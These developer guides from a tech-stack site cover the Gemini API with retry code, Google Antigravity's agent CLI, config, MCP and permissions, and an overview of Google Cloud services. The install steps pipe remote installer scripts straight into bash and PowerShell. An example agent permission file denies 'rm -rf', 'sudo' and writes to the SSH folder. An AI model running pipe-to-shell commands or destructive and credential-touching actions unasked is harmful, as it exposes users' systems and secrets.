Here's the high-level path your call takes — once you picture it, the rest of the guide clicks into place.

flowchart LR
  A["AI Studio<br/>create API key"] --> B["GEMINI_API_KEY<br/>server-side env"]
  B --> C["@google/genai SDK<br/>or REST"]
  C --> D["generativelanguage<br/>.googleapis.com"]
  D --> E["Gemini response<br/>text or image bytes"]
  E --> F["Cache image in R2<br/>tech-stack-bucket"]

Google AI Studio issues a Gemini Developer API key that authenticates calls to generativelanguage.googleapis.com. The official, current SDK is @google/genai (JS/TS, 2.20.0 as of 2026-09-01, needs Node 20+) and google-genai (Python, 2.21.0, needs Python 3.10+). The older @google/generative-ai package is legacy/deprecated (last release 0.24.1, Apr 2025) and no longer receives new Gemini features — do not use it for new code.

Gemini 3 is the current model generation (as of 2026-09-01); the Gemini 2.5 line is the previous generation and still available. Flash IDs iterate quickly (gemini-3.5-flash → 3.6 → 3.7-flash), so pin a dated ID for production or use the gemini-flash-latest alias to auto-track the newest release.

Official Documentation

Resource URL
Gemini API docs https://ai.google.dev/gemini-api/docs
Gemini 3 developer guide https://ai.google.dev/gemini-api/docs/gemini-3
Get an API key https://ai.google.dev/gemini-api/docs/api-key
Google AI Studio https://aistudio.google.com
JS SDK (@google/genai) https://googleapis.github.io/js-genai/
Python SDK (google-genai) https://googleapis.github.io/python-genai/
Image generation https://ai.google.dev/gemini-api/docs/image-generation
Rate limits & tiers https://ai.google.dev/gemini-api/docs/rate-limits
Error codes / troubleshooting https://ai.google.dev/gemini-api/docs/troubleshooting

1. Get an API key

  1. Go to Google AI Studio and sign in.
  2. Select Get API key → Create API key (in a Google Cloud project).
  3. Store it as GEMINI_API_KEY (the SDK also reads GOOGLE_API_KEY).
    • codeAmani convention: .env.local (gitignored) for local dev + the Vercel project's env vars for deploys. Server-side only — never ship the key to the browser.

A Maps Platform API key is NOT a Gemini key: calling the Gemini API with one returns 403 API_KEY_SERVICE_BLOCKED. Use a key created in AI Studio.

2. Install the SDK

npm install @google/genai      # JS/TS
pip install google-genai       # Python

3. Generate text

import { GoogleGenAI } from "@google/genai";

const ai = new GoogleGenAI({ apiKey: process.env.GEMINI_API_KEY });

const res = await ai.models.generateContent({
  model: "gemini-3.7-flash",
  contents: "Explain M-Pesa STK Push in one sentence.",
});
console.log(res.text);

4. Generate images

Image generation now runs entirely through the Gemini "Nano Banana" image models via generateContent — the dedicated Imagen models (imagen-4.0-generate-001 / -ultra- / -fast-) and the old ai.models.generateImages path were shut down on 2026-08-17. Pick the tier by quality vs cost.

flowchart TD
  A["Image prompt"] --> Q1{"Which tier?"}
  Q1 -->|"premium / up to 4K"| B["gemini-3-pro-image<br/>Nano Banana Pro"]
  Q1 -->|"workhorse / balanced"| C["gemini-3.1-flash-image<br/>Nano Banana 2"]
  Q1 -->|"cheapest / lowest latency"| D["gemini-3.1-flash-lite-image<br/>Nano Banana 2 Lite"]
  B --> E["parts·inlineData·data<br/>- base64 PNG"]
  C --> E
  D --> E
  E --> F["Cache once in R2"]

All three tiers call generateContent and return the image as an inline-data part — only the model ID changes. Per-image output prices (paid tier, verified 2026-09-01):

Tier Model ID Price / image
Nano Banana Pro — world knowledge, brand consistency, up to 4K gemini-3-pro-image $0.134 (1K/2K) · $0.24 (4K)
Nano Banana 2 — balanced generalist workhorse gemini-3.1-flash-image $0.067 (1K) · $0.101 (2K) · $0.151 (4K)
Nano Banana 2 Lite — cheapest, ultra-low latency (GA 2026-06-30) gemini-3.1-flash-lite-image $0.0336 (1K)
const res = await ai.models.generateContent({
  model: "gemini-3.1-flash-image", // or "gemini-3-pro-image" for premium
  contents: "A glossy 3D emblem of a green database with a lightning bolt",
});
const part = res.candidates?.[0]?.content?.parts?.find((p) => p.inlineData);
const bytes = part?.inlineData?.data; // base64 PNG

REST — the same call this repo's scripts/generate-thumbnails.py uses to build the card thumbnails (it currently pins gemini-2.5-flash-image, the original Nano Banana — still available, now the legacy tier):

curl "https://generativelanguage.googleapis.com/v1beta/models/gemini-3.1-flash-image:generateContent" \
  -H "x-goog-api-key: $GEMINI_API_KEY" -H "Content-Type: application/json" \
  -d '{"contents":[{"parts":[{"text":"A colorful app-icon logo"}]}]}'
# response: candidates[].content.parts[].inlineData.data (base64 PNG)

Models (verified 2026-09-01)

Model Use
gemini-3.7-flash current latest stable flash — text / multimodal reasoning, 1M-token context
gemini-3.6-flash previous stable flash — same promo pricing as 3.7
gemini-3.5-flash legacy flash, still GA — routine high-throughput work
gemini-3.5-flash-lite cheapest 3.5-line model
gemini-3.1-flash-lite lowest-cost / highest-QPS text model
gemini-3.1-pro-preview Gemini 3 Pro — highest-capability reasoning (preview)
gemini-3-pro-image premium image gen/edit — "Nano Banana Pro" (up to 4K)
gemini-3.1-flash-image workhorse image gen/edit — "Nano Banana 2"
gemini-3.1-flash-lite-image cheapest image gen — "Nano Banana 2 Lite" (GA 2026-06-30)
gemini-2.5-flash-image legacy image model — original "Nano Banana" (still available)
gemini-3.5-transcribe speech-to-text with diarization + language detection (stable)
gemini-2.5-flash / gemini-2.5-pro previous-generation text models (still available)

Retired: all Imagen 4 IDs (imagen-4.0-generate-001 / -ultra- / -fast-) and Imagen 3 were shut down 2026-08-17 — migrate to the Nano Banana models above. Flash IDs iterate fast; re-verify from the models page or use gemini-flash-latest.

List live models for a key: GET https://generativelanguage.googleapis.com/v1beta/models with header x-goog-api-key: $GEMINI_API_KEY.

Errors, rate limits & retries

The Gemini API returns standard HTTP codes with a canonical status name. The ones worth retrying are transient (rate limit + server-side); the rest are bugs in your request and retrying just wastes quota.

Code Status Meaning Retry?
400 INVALID_ARGUMENT malformed request / bad field No — fix the call
403 PERMISSION_DENIED wrong/blocked key (e.g. a Maps key) No — fix the key
429 RESOURCE_EXHAUSTED you exceeded the rate limit / quota Yes — backoff
500 INTERNAL unexpected error on Google's side Yes — backoff
503 UNAVAILABLE service temporarily overloaded / down Yes — backoff
504 DEADLINE_EXCEEDED request didn't finish in time Raise client timeout / shrink prompt

Authoritative tables: the troubleshooting page (error codes) and the rate-limits page (tiers). The official docs do not prescribe a backoff algorithm, so the snippet below is a standard exponential-backoff-with-jitter pattern applied to the documented retryable codes.

The @google/genai SDK throws an ApiError that extends Error with a .status field holding the HTTP code — so you branch on .status, not on string matching.

import { GoogleGenAI, ApiError } from "@google/genai";

const ai = new GoogleGenAI({ apiKey: process.env.GEMINI_API_KEY });

const RETRYABLE = new Set([429, 500, 503]); // RESOURCE_EXHAUSTED, INTERNAL, UNAVAILABLE
const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));

/** Run a Gemini call with exponential backoff + jitter on transient errors. */
async function withBackoff<T>(fn: () => Promise<T>, maxRetries = 5): Promise<T> {
  for (let attempt = 0; ; attempt++) {
    try {
      return await fn();
    } catch (err) {
      const status = err instanceof ApiError ? err.status : undefined;
      if (attempt >= maxRetries || status === undefined || !RETRYABLE.has(status)) {
        throw err; // out of retries, or a non-retryable error like 400/403
      }
      // 1s, 2s, 4s, 8s ... capped at 30s, plus up to 1s of jitter
      const delay = Math.min(2 ** attempt * 1000, 30_000) + Math.random() * 1000;
      await sleep(delay);
    }
  }
}

const res = await withBackoff(() =>
  ai.models.generateContent({
    model: "gemini-3.7-flash",
    contents: "Explain M-Pesa STK Push in one sentence.",
  }),
);
console.log(res.text);

Free tier vs paid. The free tier has tight per-minute and per-day quotas; once you enable billing your project moves to a paid usage tier with much higher limits. Exact RPM/TPD/RPD numbers vary by model and tier and change over time, so do not hard-code them — read your project's live limits in Google AI Studio and on the rate-limits page. For the thumbnail pipeline, image generation is metered separately and per-image, so a single 429 burst on the free tier is common — backoff plus caching in R2 keeps it cheap.

flowchart TD
  A["Gemini call"] --> B{"ApiError status"}
  B -->|"429 · 500 · 503"| C{"retries left"}
  B -->|"400 · 403"| D["Throw now<br/>fix request or key"]
  B -->|"none · success"| E["Return result"]
  C -->|"yes"| F["Wait 2^n s<br/>plus jitter"]
  F --> A
  C -->|"no"| G["Throw last error"]

Gotcha: retrying a 400/403 is pointless and, with a 429, a tight retry loop with no backoff just digs the quota hole deeper — each rejected call can still count against your rate budget. Only retry the codes in the table above, always with growing delays, and cap total attempts.

codeAmani notes

Official docs:

Google Antigravity Integration Guide

Technology: antigravity · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/antigravity

Insight:

Antigravity is an agent-first platform, not an editor with AI bolted on: you dispatch agents, then verify them through Artifacts (plans, diffs, screenshots, browser recordings) instead of reading logs. One harness now ships as four surfaces: the Antigravity App (desktop command center, v2.24), the agy CLI (v1.4, the right fit for WSL and CI), editor extensions, and a Python SDK. Everything is configured with plain files under .agents/ (rules, skills, custom agents, mcp_config.json, hooks.json), and it reads AGENTS.md, so this repo's mirrored conventions apply with no extra setup. Two dates matter this month: legacy workflows stopped working on 2026-10-19 (migrate them to skills), and Claude 4.6 and GPT-OSS leave on 2026-11-02. After that, Claude (now Sonnet/Opus 5.5) needs a paid Google AI Pro, Ultra, or Enterprise plan.

 █████╗ ███╗   ██╗████████╗██╗ ██████╗ ██████╗  █████╗ ██╗   ██╗██╗████████╗██╗   ██╗
██╔══██╗████╗  ██║╚══██╔══╝██║██╔════╝ ██╔══██╗██╔══██╗██║   ██║██║╚══██╔══╝╚██╗ ██╔╝
███████║██╔██╗ ██║   ██║   ██║██║  ███╗██████╔╝███████║██║   ██║██║   ██║    ╚████╔╝
██╔══██║██║╚██╗██║   ██║   ██║██║   ██║██╔══██╗██╔══██║╚██╗ ██╔╝██║   ██║     ╚██╔╝
██║  ██║██║ ╚████║   ██║   ██║╚██████╔╝██║  ██║██║  ██║ ╚████╔╝ ██║   ██║      ██║
╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝  ╚═══╝  ╚═╝   ╚═╝      ╚═╝

Google Antigravity Integration Guide

Focus: running Antigravity on a Linux / WSL Ubuntu dev box. The Antigravity App is the agent command center and the agy CLI drives agents from a terminal or CI. Covers install and auth, models and plans, the Agent Manager and subagents, custom agents, rules, skills (and the workflow sunset), MCP configuration, the browser subagent, permissions, hooks, sidecars, headless CI, and the Python SDK. Grounded in the antigravity.google/docs Markdown pages and the changelog; reviewed 2026-10-20.

Overview

Google Antigravity is Google's agentic development platform. Instead of an editor where you type and an AI suggests, you give an agent a goal; it plans and executes across the editor, terminal, and Chrome, then reports through Artifacts: implementation plans, code diffs, architecture diagrams, images, and browser recordings. It launched in public preview in November 2025. At I/O 2026 (2026-05-19) it pivoted to multi-agent orchestration with a standalone desktop app, the agy CLI, and the Python SDK, plus an enterprise offering through Gemini Enterprise.

One agent harness, four surfaces. Sign-in is shared across all local surfaces.

Surface Current version Reach for it when
Antigravity App (desktop; launched as "Antigravity 2.0") v2.24.0 (2026-10-15) You want the full experience: Projects, parallel agents, Artifact review, automations, Remote Control
Antigravity CLI (agy) v1.4.0 (2026-10-16) You work in a terminal, over SSH, inside WSL, or need headless CI runs
IDE extensions VS Code v1.8.0, Visual Studio v1.0.261012.0; JetBrains, Zed, Xcode You want the agent inside your existing editor
Antigravity IDE (standalone editor) v2.5.5 (2026-08-13) Legacy editor view with Tab completions and the in-editor Agent Manager (Cmd/Ctrl+E). No release since August, and no Gemini 4 Argon
Antigravity SDK google-antigravity 0.1.22 (2026-10-12) You build your own agents in Python

Agent Manager, then and now. In the 2025 IDE, the Agent Manager was the surface for running agents alongside the editor. The Antigravity App replaced it as a standalone app built around Projects. In the CLI, /agents opens a panel the docs still call the Agent Manager panel: it lists custom agents and the live state of background subagents.

flowchart TB
  G["Your goal"] --> H["Antigravity agent harness"]
  subgraph SURF["Surfaces (shared sign-in)"]
    A["Antigravity App<br/>Projects · worktrees · automations"]
    C["agy CLI<br/>TUI · headless · remote-control"]
    E["IDE extensions<br/>VS Code · JetBrains · Zed · Xcode · VS"]
    S["SDK<br/>google-antigravity (py)"]
  end
  H --> A & C & E & S
  H --> M["Models<br/>Gemini 4 Argon · 3.8 Flash<br/>Claude 5.5 · (4.6/GPT-OSS until Nov 2)"]
  CFG[".agents/<br/>AGENTS.md · rules · skills<br/>agents · mcp_config.json · hooks.json"] --> H
  H --> SUB["Subagents<br/>research · browser · self · custom"]
  SUB --> ART["Artifacts<br/>plans · diffs · screenshots · WebM"]
  H --> ENV["Editor · Terminal (sandbox) · Chrome"]

See also: cursor/ and vscode/ for the other editors this repo covers, and google-ai-studio/ / google-cloud/ for the Gemini API key and Vertex AI side used by GEMINI_API_KEY and ADC auth.

Official Documentation

Resource URL
Overview (choose a surface) https://antigravity.google/docs/overview
Quickstart (all surfaces) https://antigravity.google/docs/getting-started
Authenticate https://antigravity.google/docs/install
Changelog (App, CLI, extensions, SDK, IDE) https://antigravity.google/docs/changelog
Models https://antigravity.google/docs/models
Plans and quotas https://antigravity.google/docs/plans
Pricing https://antigravity.google/pricing
MCP https://antigravity.google/docs/mcp
Rules https://antigravity.google/docs/rules
Skills https://antigravity.google/docs/skills
Workflows → skills migration https://antigravity.google/docs/migration/workflows-to-skills
Subagents and custom agents https://antigravity.google/docs/subagents
Browser subagent (/browser) https://antigravity.google/docs/commands/browser
Permissions / sandbox / hooks https://antigravity.google/docs/permissions · /docs/sandbox · /docs/hooks
Sidecars and /schedule https://antigravity.google/docs/sidecars · /docs/commands/schedule
CLI headless mode https://antigravity.google/docs/cli/headless
CLI commands and settings https://antigravity.google/docs/cli/reference
Remote Control https://antigravity.google/docs/remote-control
Python SDK https://antigravity.google/docs/sdk/overview
Enterprise (Gemini Enterprise) https://antigravity.google/docs/enterprise

Every docs page is also served as Markdown: append .md to the path (for example https://antigravity.google/docs/mcp.md). The full page list is in https://antigravity.google/sitemap-0.xml.


Install and authenticate (Linux / WSL)

The agy CLI (primary on a WSL box)

# Inside WSL Ubuntu (or any Linux / macOS shell); installs ~/.local/bin/agy
curl -fsSL https://antigravity.google/cli/install.sh | bash
export PATH="$HOME/.local/bin:$PATH"   # if the installer didn't add it
agy --version
agy                                     # first launch: workspace trust prompt + sign-in

Windows outside WSL: irm https://antigravity.google/cli/install.ps1 | iex (PowerShell) or the install.cmd one-liner on the download page. Installer flags: --skip-aliases, --skip-path.

Sign-in options:

Where How
Local machine Browser OAuth. The token is stored in the OS keyring (Linux Secret Service/dbus, Apple Keychain, Windows Credential Manager) and reused silently.
SSH / headless WSL without a browser The CLI detects SSH, prints an authorization URL, and you paste the returned code back.
Own Gemini API key (CI, no account session) Set "modelProvider": "gemini" in ~/.gemini/antigravity-cli/settings.json and export GEMINI_API_KEY. Setting the key alone does nothing. The CLI does not read .env files or GOOGLE_API_KEY.
Google Cloud / Gemini Enterprise gcloud auth application-default login --project <id>, then set AGY_ADC_AUTH=true (optional GOOGLE_CLOUD_QUOTA_PROJECT, GOOGLE_CLOUD_LOCATION). Claude Sonnet/Opus 5.5 show up only if the project has access.

The only secret involved is the Gemini API key. Store it in Hazina, not a dotfile:

GEMINI_API_KEY=AIza...

Non-secret settings:

Variable / setting Purpose
modelProvider: "gemini" (CLI settings.json) Use GEMINI_API_KEY instead of an account session
GOOGLE_GEMINI_BASE_URL Point the CLI at a different Gemini-compatible endpoint
AGY_ADC_AUTH = true Sign in with Application Default Credentials (CLI and App)
GOOGLE_CLOUD_QUOTA_PROJECT, GOOGLE_CLOUD_LOCATION ADC project and location
AGY_CLI_OSC7501 = on / off Terminal tab status reporting (CLI 1.4.0+)

The Antigravity App (desktop)

Download from https://antigravity.google/download: macOS 12+ (Apple Silicon or Intel), Windows 10 64-bit+ (x64 or ARM64), Linux x64 / ARM64 .tar.gz (needs glibc >= 2.28 and glibcxx >= 3.4.25, for example Ubuntu 20+, Debian 10+, Fedora 36+, RHEL 8+). On WSL it needs WSLg. Most WSL work is better served by the CLI.

Changed since the last review: the download page no longer documents an apt repository. Google's old apt repo (us-central1-apt.pkg.dev/projects/antigravity-auto-updater-dev/, package antigravity) still answers but serves the 2025 IDE line (1.23.x), not the current App or IDE. Don't use it.

Package trap. pip install antigravity installs the XKCD joke module (PyPI antigravity 0.1). Google's SDK is google-antigravity.

Availability: personal Google accounts, age 18+, in listed countries. The United States and Kenya are both listed (/docs/faq). Workspace accounts sometimes fail where @gmail.com works.


Models and plans

Models (/docs/models, 2026-10-20)

Model Free & AI Plus AI Pro AI Ultra Enterprise
Gemini 4 Argon (App, CLI, extensions; not the standalone IDE) ❌ ✅ (paid, not trial) ✅ ✅
Gemini 3.8 Flash ✅ ✅ ✅ ✅
Gemini 3.7 Flash, 3.6 Flash, 3.1 Pro ❌ ❌ ❌ ✅
Claude Sonnet 5.5 / Opus 5.5 (thinking) ❌ ✅ (paid, not trial) ✅ ✅
Claude Sonnet 4.6 / Opus 4.6 (thinking) ✅ ✅ ❌ ❌
GPT-OSS-120b ✅ ✅ ✅ ❌

Plans and quota (/pricing, /docs/plans, plans blog 2026-05-19)

Plan Price What you get
Individual $0 Weekly quota and rate limit, unlimited Tab completions, core features (scheduled tasks, CLI)
Google AI Pro $20/mo Quota that refreshes every 5 hours up to a weekly cap; Gemini 4 Argon and Claude 5.5 on paid (non-trial) subscriptions
Google AI Ultra $100/mo (5x Pro) or $200/mo (20x Pro) The highest 5-hourly and weekly limits
Gemini Enterprise (Google Cloud) Standard/Plus from $30/seat/mo, or pay-as-you-go ($0 seat fee, consumption pricing) Google Cloud terms, spend caps, admin controls, BYOID/WIF, VPC-SC

The Antigravity App


Customizing the agent: everything lives under .agents/

Antigravity uses an .agents/ folder in the workspace (legacy .agent/ still loads) and ~/.gemini/... for global config. Commit .agents/ so the whole team gets the same agent.

Customization Workspace Global
Always-on instructions AGENTS.md or GEMINI.md in any directory (no frontmatter) ~/.gemini/AGENTS.md, ~/.gemini/GEMINI.md
Rules .agents/rules/*.md (frontmatter required) ~/.gemini/config/rules/*.md (CLI also ~/.gemini/antigravity-cli/rules/)
Skills .agents/skills/<name>/SKILL.md App/IDE ~/.gemini/config/skills/; CLI ~/.gemini/antigravity-cli/skills/
Custom agents .agents/agents/<name>.md ~/.gemini/config/agents/
MCP servers .agents/mcp_config.json ~/.gemini/config/mcp_config.json
Hooks .agents/hooks.json ~/.gemini/config/hooks.json
Sidecars none ~/.gemini/config/sidecars/<id>/sidecar.json

Rules

Rules are cumulative: global, workspace, and directory rules are all combined, and the more specific directory rule wins a conflict. When the agent touches a file, Antigravity walks up from that file's folder to the workspace root and loads AGENTS.md, GEMINI.md, .agents/AGENTS.md, and .agents/rules/*.md at each level.

AGENTS.md and GEMINI.md take no frontmatter and are always on. Every file in .agents/rules/ must start with frontmatter:

---
trigger: model_decision          # always_on | model_decision | glob | manual
description: "Apply when writing or reviewing SQL migrations."
---

# Migration rules
1. Expand-and-contract; never drop or rename a column in one deploy.
2. Create indexes on existing tables with CONCURRENTLY.

Example: examples/rules-codeamani.md.

Skills, and the end of workflows

Skills follow the open Agent Skills standard (agentskills.io): a folder with a SKILL.md (description required, name optional and defaulting to the folder name) plus optional scripts/, examples/, and resources/. The agent sees only names and descriptions until a skill is relevant. Every skill is also a slash command (/deploy-staging).

Workflows are gone. Legacy workflows (.agents/workflows/*.md, ~/.gemini/config/workflows/, 12,000-character limit) stopped working on 2026-10-19. Google says a new, more dynamic workflow system is coming. Until then, run /migrate-workflows in the App: it converts each workflow to .agents/skills/<name>/SKILL.md and renames the original to .md.bak. Where a skill and a workflow share a name, the skill wins. The SDK already has a beta beta.workflows module (0.1.22), which is separate from the App feature.

Example: examples/skills/pre-push-gate/SKILL.md. The CLI can also install skill bundles as plugins: agy plugin install <name|github-url|./path>, with agy plugin validate --strict --json for CI. Gemini CLI users can run agy plugin import gemini.

Custom agents and subagents

A parent agent calls invoke_subagent to start a subagent with its own clean context. The workspace can be the parent's (inherit), an isolated Git worktree (branch), or shared storage (share). Subagents inherit the parent's permission scopes and sandbox, approval requests bubble up to you, and nesting stops at 10 levels.

Example: examples/custom-agent-security-reviewer.md.

MCP servers

All surfaces read the same mcp_config.json with a single mcpServers object. The App manages it from Settings → Customizations → Installed MCP Servers (with an MCP Store), the CLI from /mcp, and the IDE from the agent panel's … → MCP Servers → View raw config. The SDK picks up .agents/mcp_config.json automatically.

{
  "mcpServers": {
    "codeamani-tech-stack": { "serverUrl": "https://tech-stack.codeamanilabs.org/api/mcp" },
    "context7": { "command": "npx", "args": ["-y", "@upstash/context7-mcp@4.4.4"] },
    "neon": { "serverUrl": "https://mcp.neon.tech/mcp", "disabledTools": ["delete_project"] },
    "gcp-service": {
      "serverUrl": "https://example.googleapis.com/mcp/",
      "authProviderType": "google_credentials",
      "disabled": true
    }
  }
}
Key Meaning
command, args, env, cwd stdio server
serverUrl Remote Streamable HTTP or SSE server. url and httpUrl are not supported, which is the most common copy-paste error from other tools' configs
headers Custom HTTP headers (API keys, bearer tokens)
authProviderType: "google_credentials" Use Google ADC (gcloud auth application-default login)
oauth: { clientId, clientSecret } Only for servers without dynamic client registration. Redirect URI: https://antigravity.google/oauth-callback
disabled, disabledTools Turn a server off, or hide specific tools from the model

OAuth servers that support DCR need nothing beyond serverUrl: click Authenticate in Settings → Customizations. Tokens are stored in ~/.gemini/antigravity/mcp_oauth_tokens.json. Unconfigured MCP tools run in Ask mode. Allow them with mcp(server/tool), mcp(server/*), or mcp(*).

Full example: examples/mcp_config.json.

The browser subagent

/browser <task> hands a web task to the built-in browser subagent. It drives real Google Chrome through the Chrome DevTools MCP server, which Antigravity starts for you. It can navigate, click, fill forms, read the console and network, run Lighthouse and performance traces, and emulate devices and throttled networks. Every session is recorded as a WebM artifact.

/browser Load http://localhost:3000 with a Slow 3G profile and a 375px viewport, then screenshot the hero once it finishes loading

Permissions, sandbox, hooks

Every sensitive action is a resource: read_file(path), write_file(path), read_url(domain), execute_url(domain), command(prefix) or command(regex:...), and mcp(server/tool). Deny beats Ask beats Allow. In the CLI the lists live in ~/.gemini/antigravity-cli/settings.json:

{
  "toolPermission": "request-review",
  "enableTerminalSandbox": true,
  "permissions": {
    "allow": ["command(git)", "command(regex:npm run (build|lint|test))", "write_file(src/)"],
    "deny": ["command(rm -rf)", "command(sudo)", "write_file(.git/)", "write_file(/home/dev/.ssh)"],
    "ask": ["command(git push)", "mcp(neon/*)"]
  }
}

Command substitution ($(...), backticks), brace expansion, and similar constructs turn off prefix matching. Those commands must match a rule exactly or they fall back to Ask. Hooks (hooks.json) run scripts on SessionStart, PreToolUse, PostToolUse (matched by tool name, such as run_command), PreInvocation, PostInvocation, and Stop. A PreToolUse hook can return a decision such as ask with a reason.

Sidecars and scheduled work

Correction: agentapi is a CLI that Antigravity puts on the sidecar's PATH, not a second builtin. Only schedule is a builtin.

Example: examples/sidecar-nightly-audit/.


The agy CLI

Interactive

agy                         # TUI in the current directory
agy --mode=accept-edits     # start in accept-edits (or --mode auto)
agy --remote-control        # this session is also reachable from the Remote Control dashboard

Headless / CI

agy -p "In one sentence, what is a git rebase?"                       # answer on stdout; everything else on stderr
agy -p "Summarize the diff" --output-format json | jq -r '.response'  # one JSON envelope
agy -p "Review the change" --output-format stream-json                # NDJSON events
agy -p "Extract the version" --output-format json \
  --json-schema '{"type":"object","properties":{"major":{"type":"integer"}},"required":["major"]}' \
  | jq '.structured_output'
agy -p "Follow up" --continue                                         # or --conversation <id>
agy -p "..." --model gemini-3.8-flash-medium --effort high --agent security-reviewer --print-timeout 10m

Full CI script: examples/ci-review.sh.


Python SDK: google-antigravity

pip install google-antigravity==0.1.22      # Python >= 3.10; uv add / poetry add also work
import asyncio
from google.antigravity import Agent, LocalAgentConfig

async def main() -> None:
    config = LocalAgentConfig(system_instructions="You are a concise senior engineer.")
    async with Agent(config) as agent:
        response = await agent.chat("What files are in the current directory?")
        print(await response.text())

asyncio.run(main())

Example (type-checked with mypy --strict): examples/sdk_agent_with_mcp.py.


codeAmani notes

Official docs:

Google Cloud Developer Training & Resource Guide

Technology: google-cloud · Category: hosting · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/google-cloud

Insight:

Google Cloud is the heavyweight option: a full compute spectrum (Cloud Run functions → Cloud Run → GKE → Compute Engine), every database shape, and first-class AI. Three facts changed in 2026 and matter most. (1) Vertex AI is now "Gemini Enterprise Agent Platform" (renamed 2026-04-22); the API is still aiplatform.googleapis.com and the SDK flag is still vertexai: true. (2) Gemini 2.5 retires on Google Cloud on 2026-10-20. Use gemini-3.8-flash (GA) as the workhorse, gemini-3.5-flash-lite for cheap volume, and gemini-4-argon (GA 2026-10-13) for frontier work, all on the global location. (3) Claude runs here too (claude-opus-5-5, claude-sonnet-5-5, claude-haiku-5-5, claude-fable-5-1) at Anthropic list price on the global endpoint, +10% on us/eu/regional. Auth is keyless: ADC locally, the attached service account on Cloud Run, and Workload Identity Federation from GitHub Actions and Vercel. africa-south1 (Johannesburg) hosts Cloud Run, Firestore, Cloud SQL, BigQuery and Secret Manager at Tier-1 prices, but no Gemini or Claude endpoint. Prices reviewed 2026-10-20; the Pricing Calculator wins.

 ██████╗  ██████╗  ██████╗  ██████╗ ██╗     ███████╗     ██████╗██╗      ██████╗ ██╗   ██╗██████╗
██╔════╝ ██╔═══██╗██╔═══██╗██╔════╝ ██║     ██╔════╝    ██╔════╝██║     ██╔═══██╗██║   ██║██╔══██╗
██║  ███╗██║   ██║██║   ██║██║  ███╗██║     █████╗      ██║     ██║     ██║   ██║██║   ██║██║  ██║
██║   ██║██║   ██║██║   ██║██║   ██║██║     ██╔══╝      ██║     ██║     ██║   ██║██║   ██║██║  ██║
╚██████╔╝╚██████╔╝╚██████╔╝╚██████╔╝███████╗███████╗    ╚██████╗███████╗╚██████╔╝╚██████╔╝██████╔╝
 ╚═════╝  ╚═════╝  ╚═════╝  ╚═════╝ ╚══════╝╚══════╝     ╚═════╝╚══════╝ ╚═════╝  ╚═════╝ ╚═════╝

Google Cloud Developer Training & Resource Guide

Focus: A developer's working map of Google Cloud: what each service is for, how to implement it (gcloud + SDK), what it costs (official list prices + free tier), and where it bites. Sourced from cloud.google.com and docs.cloud.google.com; pricing and model IDs reviewed 2026-10-20. Prices change, so always confirm on the Pricing Calculator.


What changed since the last review (2026-08-23)

Was Now (2026-10-20)
"Vertex AI" Gemini Enterprise Agent Platform ("Agent Platform"). Renamed 2026-04-22. API host aiplatform.googleapis.com, IAM roles roles/aiplatform.* and the Gen AI SDK's vertexai: true flag are unchanged. Docs moved to docs.cloud.google.com/gemini-enterprise-agent-platform.
gemini-2.5-flash / gemini-2.5-pro as the GA defaults Retired on Google Cloud 2026-10-20. Replacements per Google: gemini-3.8-flash (GA 2026-09-02) or gemini-3.5-flash; gemini-3.5-flash-lite for the old Flash-Lite slot. Frontier: gemini-4-argon (GA 2026-10-13).
location="us-central1" for Gemini Gemini 3.x / 4 models are served from global, us, eu only. Use global unless you need residency.
Agent Engine Renamed Agent Runtime; Memory Bank and Sessions keep their names under Agent Platform. The quickstart now uses agents-cli.
Cloud Run: one rate card Two rate cards. Instance-based $0.000018/vCPU-s + $0.000002/GiB-s, free 240k vCPU-s + 450k GiB-s. Request-based $0.000024/vCPU-s + $0.0000025/GiB-s active, $0.40/M requests, free 180k vCPU-s + 360k GiB-s + 2M requests. The old guide mixed them.
"GCP has no first-party MCP server" Google now hosts remote MCP servers for Cloud Run, Firestore, IAM, Logging, Monitoring, GKE, Compute, Pub/Sub, Cloud SQL, Spanner and more (https://<service>.googleapis.com/mcp).
Claude on Vertex (not covered) New section: Claude on Google Cloud with @anthropic-ai/vertex-sdk 0.21.0.
WIF for GitHub only Keyless auth from GitHub Actions (google-github-actions/auth v3) and Vercel (@vercel/oidc).

How to use this guide

This is a training resource, not just an integration cheat-sheet. Read it in three passes:

  1. Mental model: The GCP spine and the compute decision tree. Internalise these and most "which service?" questions answer themselves.
  2. Service-by-service: each section gives Use case · Implement · Cost · Gotcha. Skim, then dive where you need.
  3. Hands-on: the interactive learn module above this page (Cloud Run cost explorer), the runnable files in examples/, the official learning paths, and the codeAmani notes.

Per the codeAmani docs policy, when you implement against any of these APIs, pull current docs via the Context7 MCP (resolve-library-id → query-docs) or the official URL in each section. Don't code from memory; GCP ships fast.


The GCP spine (a mental model)

Google Cloud is the infrastructure Google runs Search, Gmail and YouTube on, rented out. Ignore the 200-product catalogue; a product developer reaches for about 30 services across eight layers:

Layer Services you'll actually use
Compute Cloud Run · Cloud Run functions · GKE · Compute Engine · App Engine
Databases Cloud SQL · AlloyDB · Spanner · Firestore · Bigtable · Memorystore
Analytics BigQuery · Dataflow · Pub/Sub
Storage Cloud Storage · Persistent Disk · Filestore
AI / ML Gemini Enterprise Agent Platform (formerly Vertex AI): Gemini, Claude and open models via Model Garden, Agent Runtime, RAG Engine, Vector Search
Networking VPC · Cloud Load Balancing · Cloud CDN · Cloud Armor · Cloud DNS
Security & Identity IAM · Secret Manager · Cloud KMS · Workload Identity Federation
DevOps & Ops Cloud Build · Artifact Registry · Cloud Deploy · Cloud Logging/Monitoring · Cloud Scheduler · Cloud Tasks · Workflows · Eventarc

Two cross-cutting ideas hold it together:


Official Documentation

Resource URL
Google Cloud Docs (root) https://cloud.google.com/docs
gcloud CLI reference https://cloud.google.com/sdk/gcloud
Pricing Calculator (source of truth) https://cloud.google.com/products/calculator
Free Tier & $300 trial https://cloud.google.com/free/docs/free-cloud-features
Architecture Center https://cloud.google.com/architecture
Cloud Skills Boost (training/labs) https://www.cloudskillsboost.google/
Cloud Run https://cloud.google.com/run/docs
Compute Engine https://cloud.google.com/compute/docs
GKE https://cloud.google.com/kubernetes-engine/docs
BigQuery https://cloud.google.com/bigquery/docs
Cloud SQL https://cloud.google.com/sql/docs
Firestore https://cloud.google.com/firestore/docs
Cloud Storage https://cloud.google.com/storage/docs
